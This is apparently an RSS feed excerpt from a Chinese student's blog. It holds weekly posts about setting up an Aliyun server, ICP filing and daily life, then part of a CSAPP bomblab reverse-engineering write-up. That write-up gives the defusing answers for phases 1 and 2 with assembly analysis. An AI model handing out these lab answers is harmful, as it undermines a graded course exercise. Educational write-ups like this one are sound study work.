&lt;p&gt;学计算机就是得多探索自己不熟悉的领域，然后感受逐渐熟悉带来的反馈~&lt;/p&gt;
&lt;h3&gt;购买：&lt;/h3&gt;
&lt;p&gt;本周在阿里云上购买了第一台 ecs  。除了鼓捣着好玩之外，主要是用来搭建我的 &lt;a href=&quot;https://en.wikipedia.org/wiki/RSS&quot;&gt;rss&lt;/a&gt; 信息源——&lt;a href=&quot;https://rsshub.cry4o4n0tfound.cn&quot;&gt;rsshub&lt;/a&gt; 和 &lt;a href=&quot;https://wewerss.cry4o4n0tfound.cn&quot;&gt;wewerss&lt;/a&gt;。不过在搭建过程中也踩了不少奇奇怪怪的坑...&lt;/p&gt;
&lt;p&gt;阿里云的 ecs 推销捆绑着一大堆奇奇怪怪的 lnmp 或者 lamp 以及 docker 面板（感觉属于智商税）。加上一个面板就能多上 100 左右，对于穷学生的我来说，还是老老实实裸机吧。&lt;/p&gt;
&lt;p&gt;顺便一提，科学上网情况下访问 aliyun 主页的 ecs 价格是 $ 显示的，本着求实的思想，我还查看了在线汇率，计算后发现用 $ 结算反而更加便宜...这也要割韭菜是吗？&lt;/p&gt;
&lt;h3&gt;配置：&lt;/h3&gt;
&lt;p&gt;选择了 2 核 2g 作为实验，一般来讲，rsshub 和 wewerss 再加上固定的 watch tower 和 caddy，2g的内存应该是足够了。在购买后添加完用户就开始了第一次在国内服务器配环境。&lt;/p&gt;
&lt;p&gt;给我的经验教训就是——再也不想购买国内服务器了。gfw( great firewall 也就是我们俗称的“墙”) 还在追我...进去 docker 镜像一个都拉取不下来，而国内服务器开代理大概率第二天就被封。可恶！&lt;/p&gt;
&lt;p&gt;于是不得不投向了镜像源的怀抱，然而去年 docker 大多数镜像源挂了后，现在国内能找到比较稳定更新的镜像源屈指可数，我在第一次拉取镜像时就遭了罪，本来就是 3m 带宽拉取的很慢，然后还因为第一次选到了估计是很老的镜像源... rsshub 镜像还停留在三年前，进入容器内部打开一看吓一跳，路由文档全是 js ，而 github 上早已在去年就大更新，将所有路由都用 ts 进行了重写...最后好不容易找到了国内一个好用的镜像源，还是硬生生下了接近两小时，实在是痛苦。&lt;/p&gt;
&lt;p&gt;还没完，当做完这些后想域名解析到对应的服务器公网 ip 地址还得需要 icp 备案，没备案前脚刚解析，后脚 10min 就被封了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B06-1.png&quot; alt=&quot;被封的页面&quot;&gt;&lt;/p&gt;
&lt;h3&gt;icp 备案：&lt;/h3&gt;
&lt;p&gt;灰溜溜地跑去备案，录了奇怪的宣誓视频上传，而后还得把备案号放在网页底部（现在拉到网页最下方应该就可以看到了），&lt;s&gt;像是贴的路边小广告&lt;/s&gt;。之后就是静静地等待备案下来，中间还跑去和高中同学玩了场剧本杀。&lt;/p&gt;
&lt;h3&gt;转移：&lt;/h3&gt;
&lt;p&gt;做完了这些以为已经结束了，结果备案信息下来后读了有关备案条例才是给了我当头一棒（深刻理解了懂法的重要性）——顶级域名解析的地址也应该在对应的云服务器提供公司下（因为备案只能是顶级域名，但是我只有子域名解析到了 aliyun 的服务器，于是相当于现在这个博客也得解析到阿里云的服务器下...&lt;/p&gt;
&lt;p&gt;这下就难办了。由于现在这个博客是由 hexo 支持的静态生成博客，所以它目前托管在 github 下，用了 cloudflare 做了转发。简单来讲，跟 aliyun 沾不上一点关系，也就意味着我需要在30天内转移这个博客到另外一个域名，或者放到 blog.cry4o4n0tfound.cn 这个子域名下，然后在这个主域名托管另外一个页面，不然 aliyun 检查到与我提交的内容描述不符的话会直接封了这个页面。但这显然违背了我的意愿，我也不愿意把这个域名舍弃给别的栏目，所以目前的打算是换成 wordpress 或者 typecho 来体验一下。将当前这个页面放到 blog.cry4o4n0tfound.cn 上当作纪念，然后学习一学期前端后在假期重新写一个真正属于自己的博客，这应该是一项有趣也富有挑战性的活动，就当是这学期的目标吧。&lt;/p&gt;
&lt;p&gt;类似的驱动是小时候学英语为了看 &lt;em&gt;Harry Potter&lt;/em&gt; 的原文，以失败告终...但我这次有着充足的信心把这次做成，请大家多多督促我😌。&lt;/p&gt;
&lt;h2&gt;剧本杀：&lt;/h2&gt;
&lt;p&gt;接近开学时，终于打算休息下到处玩玩，于是进城和高中同学们玩了场剧本杀。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B06-2.png&quot; alt=&quot;数不清有多少个本了😵&quot;&gt;&lt;/p&gt;
&lt;p&gt;平心而论，我从小就喜欢侦探小说，最常见的福尔摩斯、阿加莎克里斯蒂的书看过不少，也是一个轻度柯南迷，所以对于推理这一类游戏有着浓厚的兴趣，也正因为这样，我对于剧本杀还算喜爱，在它比较风靡的几年跟同学们去玩了不少（得亏朋友们也是&quot;推理爱好者&quot;），可以说是乐在其中。&lt;/p&gt;
&lt;p&gt;不过最近是越来越热爱不起来了...&lt;/p&gt;
&lt;p&gt;这得归结于它越来越冗长的流程——或许第一次反转你还有所欣喜，但当第二次甚至第三次反转后，留下的只有疲惫。本质上，剧本杀其实就是一场开会，并且是对信息摄入要求极高的开会，因为里面多如牛毛的细节如果漏看或者少听了一个，你就很难前进一步，自然会流失兴趣。&lt;/p&gt;
&lt;p&gt;再进一步分析下去，这种冗长的流程源自于剧本杀行业的内卷。剧本杀并不算一个很能留的住人的社交游戏，其一是凑人难凑，剧本动辄6、7个人，往往很难凑齐；其二是受众较少，上班族留不出这么多时间来玩，再者，人家工作日都开了这么多会了，休息日还继续开会，那可太不人道了。&lt;/p&gt;
&lt;p&gt;流失严重之下，剧本发行商们就开始疯狂内卷——加长剧本体量，增加那些重度剧本杀爱好者的体验，使得我们这些跟着玩玩的也得经受一搞不好就上十的时长。这就像是在提纯一样，直到最后，只会留下最热爱的玩家。而这颇有竭泽而渔之感，当少了新鲜血液后，再怎么内卷，又能榨出什么来呢？&lt;/p&gt;
&lt;p&gt;这也同样适用于 it 行业。&lt;/p&gt;
&lt;h2&gt;有趣的文章：&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在查阅有关 caddy 反向代理途中看到的文章，十分有趣。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;​         &lt;a href=&quot;https://www.kawabangga.com/posts/5330&quot;&gt;我们为什么要给网站颁发证书&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不要害怕提问，即使显得愚蠢.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;​         &lt;a href=&quot;https://danluu.com/look-stupid/&quot;&gt;愿意让自己变得&quot;愚蠢&quot;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;已经回到了学校，准备开始新的一学期啦。&lt;/p&gt;
&lt;p&gt;下周见👋（大概&lt;/p&gt;</content:encoded><category>week</category></item><item><title>Memos 5:-弹指一挥间</title><link>https://cry4o4n0tfound.cn/blog/memos-5-%E5%BC%B9%E6%8C%87%E4%B8%80%E6%8C%A5%E9%97%B4/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-5-%E5%BC%B9%E6%8C%87%E4%B8%80%E6%8C%A5%E9%97%B4/</guid><pubDate>Sun, 09 Feb 2025 17:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言：&lt;/h2&gt;
&lt;p&gt;可能是过年期间时间差过得有些混乱，导致本周老是处于一种浑浑噩噩的状态，常常是睡醒了又好像没睡醒...总而言之很迷糊，中间又穿插着间歇的宴席，因此没有一个特别连贯的时间留给自己，常常是在吵吵闹闹上的宴席上感到烦躁，回到家里便静不下心来学习。再加上刚好上周做 bomblab 花了不少时间，就将这篇周记延迟到了现在。&lt;/p&gt;
&lt;h2&gt;弹指一挥间：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;三十八年过去，弹指一挥间。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在看一些东西真的似乎就在弹指一挥间——这里的感叹源自于我突然发现b站账号6级了。想到当初遥不可及的 28800 (这里是b站6级所需的经验) 竟然被我一天天登录达到了，真是一件难以置信的事情。至于为什么是登录达到的，我只能告诉你...账号里面还有1k多个币。我可不是白嫖怪，我只是有那么&lt;s&gt;亿&lt;/s&gt;点健忘而已。&lt;/p&gt;
&lt;p&gt;人总是喜欢在到达一个目标后回忆其中的过程，这是很多回忆录的由来。而我则因为这次6级回忆起了我的b站生涯——或者说自己的10~20岁，发现了许多有趣的事情，或者说是十年来自己的变化，都在这个账号里面直接或间接体现着。&lt;/p&gt;
&lt;p&gt;番剧是最初注册b站的原因。中学时期也是我看番看的最多的时间段，我现在都记得在b站上看的第一部番叫《月色真美》。每一集的标题都选自日本文学大家的小说，也是促使我初中看日本文学的动机之一。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B05-2.png&quot; alt=&quot; cry 看过的番剧的冰山一角 &quot;&gt;&lt;/p&gt;
&lt;p&gt;图片里的看到第一话大多数因为想回忆下是什么内容，这么多年过去了，都没啥印象了...&lt;/p&gt;
&lt;p&gt;番剧栏已经好几年没有新的增添，我现在很难再去完整的看一部番剧了。究其原因，我认为更多是内心的傲慢偏见。&lt;/p&gt;
&lt;p&gt;因为我现在将它们定义为无用且消磨时间的，而我自然更想做一些我认为“更有意义”的事情，但什么事情是有意义的这是说不清楚的，这本质上算是一种对于番剧的傲慢和偏见，一时间我也说服不了自己，不如放到一边，说不定哪一天又将其捡起来。&lt;/p&gt;
&lt;p&gt;这个栏目内毕竟承载了我的青春。(&lt;s&gt;当然，我现在也很青春活力&lt;/s&gt;)&lt;/p&gt;
&lt;p&gt;现在的收藏夹大多都是一些和专业内容相关的东西，以及一些基础课程（是的，去年的年度视频是樊顺厚讲高等数学），b站也逐渐演变成了资源检索工具。&lt;/p&gt;
&lt;p&gt;估计下一个十年又会不一样吧，说不定 b站会直接退出我的软件使用清单🤔。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;论坛与信息检索：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;大道至简。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这周学习了一些逆向基础，除了天天与汇编打交道外，免不了使用各种工具，从0到1永远是最困难的时候，而在这过程中，找教程就显得尤为重要，好的教程让人少走不少弯路。&lt;/p&gt;
&lt;p&gt;于是翻阅起了吾爱破解、看雪以及飘云阁等著名论坛。&lt;/p&gt;
&lt;p&gt;这些论坛给我的感觉就像回到了10年前我最初上网的时候，它们的首页保留了我童年时浏览网页的记忆。也许你不信，但看看就知道了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B05-1.png&quot; alt=&quot;吾爱破解&quot;&gt;&lt;/p&gt;
&lt;p&gt;这些简陋的 ui 界面并不妨碍论坛上内容的硬核。给人一股大道至简感（&lt;/p&gt;
&lt;p&gt;所以对于有效信息的选择是极为重要的。不能因为人家 ui 丑就不用，正如人不可貌相，网站也是。&lt;/p&gt;
&lt;p&gt;我现在对于学东西过程中信息质量的判断一般是这样的：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;个人博客 &gt; stackoverflow &gt; 论坛 &gt; 百度贴吧 &gt; 一般的社交媒体，类似于知乎、bilibili &gt;&gt; Csdn&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;很多个人博客上对于某些环境配置有着非常详尽的讲解，并且也不像💩csdn上随便复制粘贴的一篇就要收费，完全是用爱发电，不过也不排除某些个人博客上本身也是错的，信息检索还得鉴别真伪，这就是当下计算机学习的难处...&lt;/p&gt;
&lt;p&gt;按道理来说 stackoverflow 上面问题解决方案应该会更多，不过这玩意儿对于检索词感觉要求比较高，对于我的蹩脚英语水平来讲，想搜一个问题还得思考该怎么检索。所以被我排在了后面。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;对于游戏而言：贴吧大概是最硬核的（这里指某些小众单机游戏），我记得当初我玩 raging loop 汉化包中有配置文件出了问题，到处询问无果，最后在贴吧中找到了答案。一般来讲，对于某些小众单机游戏而言，如果在贴吧都找不到攻略，那么大概率就真的得靠自己了...&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;另外更方便的是问 ai：&lt;/p&gt;
&lt;p&gt;由于 deepseek被发现（它刚上线 appstore 的时候我就下载来用了很久)，chatgpt免费额度有限，最近转向了欧洲的 le chat，测试下来也比较好用。&lt;/p&gt;
&lt;p&gt;不过哪家 ai 倒是其次的，真正用好 ai 还是得学会 prompt ，提示词工程对于 ai 才是最重要的。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;电影院中的小朋友：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;小嘴巴，不讲话（&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本周还和初中的好朋友一起去看了场电影，是的，就是天天刷屏的哪吒，主要实在是找不到看什么。就挑了网上口碑最好的哪吒，对于它的印象，还停留于某次开学典礼上校长致辞提了一嘴“那抓”（因为导演是泸州人，所以好像是拿来当例子来着，具体也记不太清了）。&lt;/p&gt;
&lt;p&gt;影片其实没什么好说的，剧情我认为有点老套，甚至我在三分之一的时候就跟朋友在那基本猜测出来后面的剧情，不过也有可能是因为我没看过哪吒一的缘故。也许各位还没看，就不剧透了。&lt;/p&gt;
&lt;p&gt;印象更深的反而是电影院里嘈杂的氛围。我很不喜欢嘈杂的环境，然而哪吒作为春节档爆火的影片，小朋友是少不了的，另外影片里有些笑点可能是刻意为了小朋友设置的，小朋友就会笑的特别多，显得我有点格格不入...
而斜后方有个小朋友笑了好几分钟不带停，我转过头看了一眼，家长也没什么反应，这就很让人无奈。听同学说最后是旁边有个女生转过去对着他说了句：“小嘴巴，不讲话，小朋友你几年级了。”，然后立马就不笑了。这件事反而是我当天笑的最久的时候。&lt;/p&gt;
&lt;p&gt;总而言之算是一场比较糟糕的经历。可能对于我来说，电影还是适合在安静的地方独自观赏吧。算起来我一年大概在电影院看的电影估计也就一部？毕竟如果看电影遇上没有家教的小朋友真的是一场灾难...&lt;/p&gt;
&lt;p&gt;一想到我小时候可能比这还皮，那更是一场灾难（&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Mydockfinder:&lt;/h2&gt;
&lt;p&gt;偶然间发现的有意思的小软件，可以将 windows 桌面渲染成类似 mac 的状态(其实之前还见过类似的 nexus 但没有上手去用），使用配置起来也很方便。配合  Wallpaperengine  算是一个不错的美化桌面的工具，也让我也体验了一把 macbook 的感觉。&lt;/p&gt;
&lt;p&gt;软件有一个免费的测试版，正式版在 steam 中下载，目前是 24￥，不算太贵，体验一下还是很有趣的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B05-3.png&quot; alt=&quot;效果展示，忽略左上角的 ios 图标(&quot;&gt;&lt;/p&gt;
&lt;p&gt;等我有钱了也要换个真正的 mac 本试试，在设计与美感方面 mac 确实胜过 windows 不少，现在终于可以理解一些果粉了。&lt;/p&gt;
&lt;p&gt;前提是有钱😭。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;拖拖沓沓地干脆就写这些零散小事，这周值得记录的事情不是很多，也没怎么读书，《被讨厌的勇气》只翻开了几页，被过年间各种“不得不去”的宴席占用了不少时间。&lt;/p&gt;
&lt;p&gt;大概这才是常态，纷纷扰扰的小事才组成了我们各自的生活。&lt;/p&gt;
&lt;p&gt;已经是寒假最后一周了，时间飞逝，弹指一挥间。&lt;/p&gt;
&lt;p&gt;下周见👋（大概&lt;/p&gt;</content:encoded><category>week</category></item><item><title>Csapp2-bomblab</title><link>https://cry4o4n0tfound.cn/blog/bomblab/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/bomblab/</guid><pubDate>Sat, 08 Feb 2025 22:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CSAPP: bomblab&lt;/h1&gt;
&lt;p&gt;正好最近在学逆向，这里是基于 [ida] 以及硬怼汇编的 [bomblab]，不得不说，汇编看起来确实头疼，但是找到答案的过程非常有成就感。&lt;/p&gt;
&lt;p&gt;以下为 [bomb.c] 文件，用 [chatgpt] 作了翻译，很有趣的实验场景，cmu的教授幽默感十足（实验过程中发现了一些小彩蛋），赛博拆弹😜。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/cry0404/cry-s-road/blob/main/week3-4/bomblab%E5%89%8D%E7%BD%AE%E5%86%85%E5%AE%B9%EF%BC%9A.md&quot;&gt;bomblab前置知识以及所需准备&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;做前须知：&lt;/h1&gt;
&lt;p&gt;关于汇编：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;类型&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;语法&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;例子&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;常量&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;符号&lt;code&gt;$&lt;/code&gt; 开头&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;$-42&lt;/code&gt;, &lt;code&gt;$0x15213&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;一定要注意十进制还是十六进制&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;寄存器&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;符号 &lt;code&gt;%&lt;/code&gt; 开头&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;%esi&lt;/code&gt;, &lt;code&gt;%rax&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;可能存的是值或者地址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;内存地址&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;括号括起来&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;&lt;code&gt;(%rbx)&lt;/code&gt;, &lt;code&gt;0x1c(%rax)&lt;/code&gt;, &lt;code&gt;0x4(%rcx, %rdi, 0x1)&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;括号实际上是去寻址的意思&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;/***************************************************************************

 * 邪恶博士的阴险炸弹，版本 1.1
 * 版权所有 2011，邪恶博士公司。保留所有权利。
   *
 * 许可证：
   *
 * 邪恶博士公司（即肇事者，PERPETRATOR）特此授予你（即受害者，VICTIM）
 * 明确许可使用此炸弹（即炸弹，BOMB）。这是一个限时许可，
 * 在受害者死亡时失效。
 * 肇事者不对受害者的任何损害、挫败感、精神错乱、暴突眼、
 * 腕管综合症、失眠或其他伤害负责。除非肇事者想要因此获得荣誉。
 * 受害者不得向肇事者的敌人分发此炸弹的源代码。
 * 任何受害者不得调试、逆向工程、运行 &quot;strings&quot; 命令、
 * 反编译、解密或使用任何其他技术来获取炸弹的知识并拆除炸弹。
 * 处理此程序时不得穿戴防爆衣。
 * 肇事者不会为自己糟糕的幽默感道歉。
 * 在炸弹被法律禁止的地方，本许可证无效。
   ***************************************************************************/

#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;stdlib.h&gt;
#include &quot;support.h&quot;
#include &quot;phases.h&quot;

/* 

 * 备忘录：记得删除这个文件，这样我的受害者们就不会知道发生了什么，
 * 这样他们都会在一次极其恶毒的爆炸中炸飞。——邪恶博士
 */

FILE *infile;

int main(int argc, char *argv[])
{
    char *input;
/* 备忘录：记得把这个炸弹移植到 Windows，并给它加上一个
 * 炫酷的图形界面（GUI）。 */
/* cry的吐槽:最后还是忘了加，留在官网的环境依然是在linux上的 */
/* 如果没有参数，炸弹会从标准输入读取输入行。 */
if (argc == 1) {  
infile = stdin;
} 

/* 如果提供了一个参数 &amp;#x3C;file&gt;，炸弹会从 &amp;#x3C;file&gt; 读取输入，
 * 直到文件结束，然后切换到标准输入。
 * 这样，随着你拆除每个阶段的炸弹，你可以将其拆除代码
 * 添加到 &amp;#x3C;file&gt; 中，避免重复输入。 */
else if (argc == 2) {
if (!(infile = fopen(argv[1], &quot;r&quot;))) {
    printf(&quot;%s: 错误：无法打开 %s\n&quot;, argv[0], argv[1]);
    exit(8);
}
}

/* 你不能用超过 1 个命令行参数来调用炸弹程序。 */
else {
printf(&quot;用法: %s [&amp;#x3C;输入文件&gt;]\n&quot;, argv[0]);
exit(8);
}

/* 执行各种秘密操作，使炸弹更难拆除。 */
initialize_bomb();

printf(&quot;欢迎来到我的邪恶小炸弹。你有 6 关要过，\n&quot;);
printf(&quot;否则就会炸飞自己。祝你好运！\n&quot;);

/* 嗯…… 六个阶段一定比一个阶段更安全！ */
input = read_line();             /* 读取输入                 */
phase_1(input);                  /* 运行第一阶段               */
phase_defused();                 /* 可恶！他们竟然破解了！
			      * 让我看看他们是怎么做到的。 */
printf(&quot;第一阶段已拆除。来试试下一个吧？\n&quot;);

/* 第二阶段更难。没人能弄清楚
 * 该怎么拆除…… */
input = read_line();
phase_2(input);
phase_defused();
printf(&quot;这是第二关。继续努力！\n&quot;);

/* 我猜到目前为止还是太简单了。
 * 一些更复杂的代码会让人困惑。 */
input = read_line();
phase_3(input);
phase_defused();
printf(&quot;已经完成一半了！\n&quot;);

/* 哦，是吗？那么，你的数学能力如何？
 * 试试这个辣手的问题吧！ */
input = read_line();
phase_4(input);
phase_defused();
printf(&quot;这个你也解开了。试试这个吧。\n&quot;);

/* 在内存中绕来绕去，我们会停在哪？炸弹会爆炸！ */
input = read_line();
phase_5(input);
phase_defused();
printf(&quot;干得好！继续下一个……\n&quot;);

/* 这一阶段永远不会被使用，因为没人能通过前面的阶段。
 * 但以防万一，让这一关特别难。 */
input = read_line();
phase_6(input);
phase_defused();

/* 哇，他们竟然破解了！但是不是少了点什么……？
 * 也许有什么被他们忽略了？哈哈哈哈哈！ */

return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初步读完程序我们大致知道有6个阶段(当然，邪恶博士显然是藏不住话的人，这种喜欢给提示的反派真是老套，我们会在接下来找出他的 [secret_phase] 来嘲笑他)。&lt;/p&gt;
&lt;p&gt;好吧，让我们开始拆弹吧。&lt;/p&gt;
&lt;h1&gt;Phase 1：&lt;/h1&gt;
&lt;h4&gt;直接汇编硬怼：&lt;/h4&gt;
&lt;p&gt;用 [objdump] 反汇编锁定到 [.text] 的 [phase_1] 段。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/phase1.png&quot; alt=&quot;phase1&quot;&gt;&lt;/p&gt;
&lt;p&gt;让我们逐行分析，栈指针下移，[sub] 在这里分配了8字节的空间，[mov] 则是将 [rsi] 的低32位赋值，而[callq] 则是调用了位于401338的函数，这个函数名一看就是判断字符串是否相等，[je] 则代表如果相等则跳转到 [phase1 + 0x17]， 这里正好是add的值，就跳过了引爆炸弹阶段，所以我们只需要找到对应的字符串即可，选择在 [phase_1] 打完断点后一行行看 [rsi] 中所存储的值。后续的 [add] 则释放空间。&lt;/p&gt;
&lt;p&gt;于是得到&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;Border relations with Canada have never been better.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;怎么有点夹带私货的感觉？&lt;/p&gt;
&lt;p&gt;令人感到讽刺的是 10多年后，[Trump] 声称 [Canada] 即将成为美国的第51个州，这下边界问题彻底解决了，就是有点地狱笑话...&lt;/p&gt;
&lt;h4&gt;ida：&lt;/h4&gt;
&lt;p&gt;做静态分析怎么能少得了 [ida]，虽然明确要求了我不用逆向工程，但我就用。&lt;/p&gt;
&lt;p&gt;打开 [ida],找到 [phase_1] 直接反编译，得到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/bomblab2.png&quot; alt=&quot;一目了然😎&quot;&gt;&lt;/p&gt;
&lt;p&gt;非常简单的判断逻辑，机器反编译就是比人肉反编译好用啊(&lt;/p&gt;
&lt;h1&gt;Phase 2:&lt;/h1&gt;
&lt;h4&gt;直接汇编硬怼：&lt;/h4&gt;
&lt;p&gt;发现阶段2开始代码开始变长了，于是输出文件放到 [vscode] 上面去看。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/phase2.png&quot; alt=&quot;phase2&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里有着很多跳转指令，估计是个循环，在处理循环前，我们看看前面发生了什么。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;push %rbp , push %rbx 两者均为&lt;strong&gt;被调用者保存寄存器&lt;/strong&gt;，在循环递归中都很常见，这里我们也可以看到尾部 pop %rbx 和 pop %rbp 还原了最开始存储的值，这里&lt;strong&gt;值得注意的是，汇编中 pop 是弹出栈顶的值，并将其赋值给其后紧接的寄存器。如果习惯了 cpp stl 中栈的 pop 语法，可能会搞错。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;sub 将栈指针向下移动28字节，为局部变量分配出了空间。&lt;/li&gt;
&lt;li&gt;mov %rsp, %rsi 将栈顶指针的值赋给rsi&lt;/li&gt;
&lt;li&gt;开始调用一个名为 &amp;#x3C;read_six_numbers&gt; 的函数，顾名思义，下列操作应该就是跟读取6个数字有关。&lt;/li&gt;
&lt;li&gt;cmpl 比较1与rsp内存中指向的值的大小&lt;/li&gt;
&lt;li&gt;je 如果相等则跳转到400f30&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;到这里为止开始发生跳转，我们尝试还原 je 之后的程序，在此之前，随便测试一组输出，观察寄存器中存储值的变化，选择最为简朴的（1，2，3，4，5，6）和一组（2，3，4，5，6，7）。&lt;/p&gt;
&lt;p&gt;分别为各个引爆程序处打上断点，我们会发现在经过 [read_six_numbers] 函数后，rsp连续的地址中存储了我们输入的值，（1，2，3，4，5，6）这组数会在 400f20 处引爆，而（2，3，4，5，6，7）则在 400f10 处引爆，两者的区别在于首位不为1，只有首位为1才会进入循环逻辑，对应cmpl的那串指令，循环中的炸弹判断则在 400f20 处判断。&lt;/p&gt;
&lt;p&gt;于是我们可以还原循环了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;#跳转阶段
jmp 400f30&amp;#x3C;phase_2+0x34&gt; #跳转到lea处，在这里将rsp上的第一个数赋值给rbx（rbx毕竟叫做基址指针，我们用它来遍历循环）
#准备阶段
lea 0x4(%rsp),%rbx       #赋值中
lea 0x4(%rbp),%rbp       #终止逻辑，看下面循环阶段的cmp即可知，当rbx相等时即跳转结束
#循环阶段
mov -0x4(%rbx), %eax     # 从前一个数字地址读取值
add %eax, %eax           # 计算前一个数字的两倍
cmp %eax, (%rbx)         # 比较当前数字是否等于前一个数字的两倍
je  400f25               # 如果相等，继续循环
callq 40143a             # 如果不相等，爆炸
add $0x4, %rbx           # 移动到下一个数字
cmp %rbp, %rbx           # 检查是否到达第六个数字
jne 400f17               # 如果未到达第六个数字，继续循环
#结束
#最后几个指令均是在收拾&quot;残局&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以函数的逻辑就是一个简单的指数函数😥，是的，你在cpp中两行就能敲完的代码变成了这样。&lt;/p&gt;
&lt;p&gt;答案为:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;1,2,4,8,16,32
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;ida：&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/bomblab3.png&quot; alt=&quot;ida给出的反汇编函数&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们可以清楚的看到 [ida] 给出的反汇编函数执行了我们上述的逻辑，但令人感到困惑的是13行的代码2**((_DWORD *)v2-1)到底在干吗，这里需要复习cpp中的知识，(DWORD *)设置的是一个 [double word] 双字，4字节的指针（其实我很无语字这个设定，字节就字节非要搞这些出来），括号外的第一个 *表解引用指针，即读取存储的值，而第二个则是代表通俗的乘法，至于这里的  -1 注意是在做指针地址运算，即指向前一个地址，再将取地址的值乘2。然后就是循环再循环了。&lt;/p&gt;
&lt;p&gt;相较于硬怼汇编，清晰明了不少。当然，如果直接用 [ida] 确实也会失去bomblab的原本意义，这里作为用汇编做完的对比验证。&lt;/p&gt;
&lt;h1&gt;Phase 3：&lt;/h1&gt;
&lt;h4&gt;直接汇编硬怼&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/phase3.png&quot; alt=&quot;phase3&quot;&gt;&lt;/p&gt;
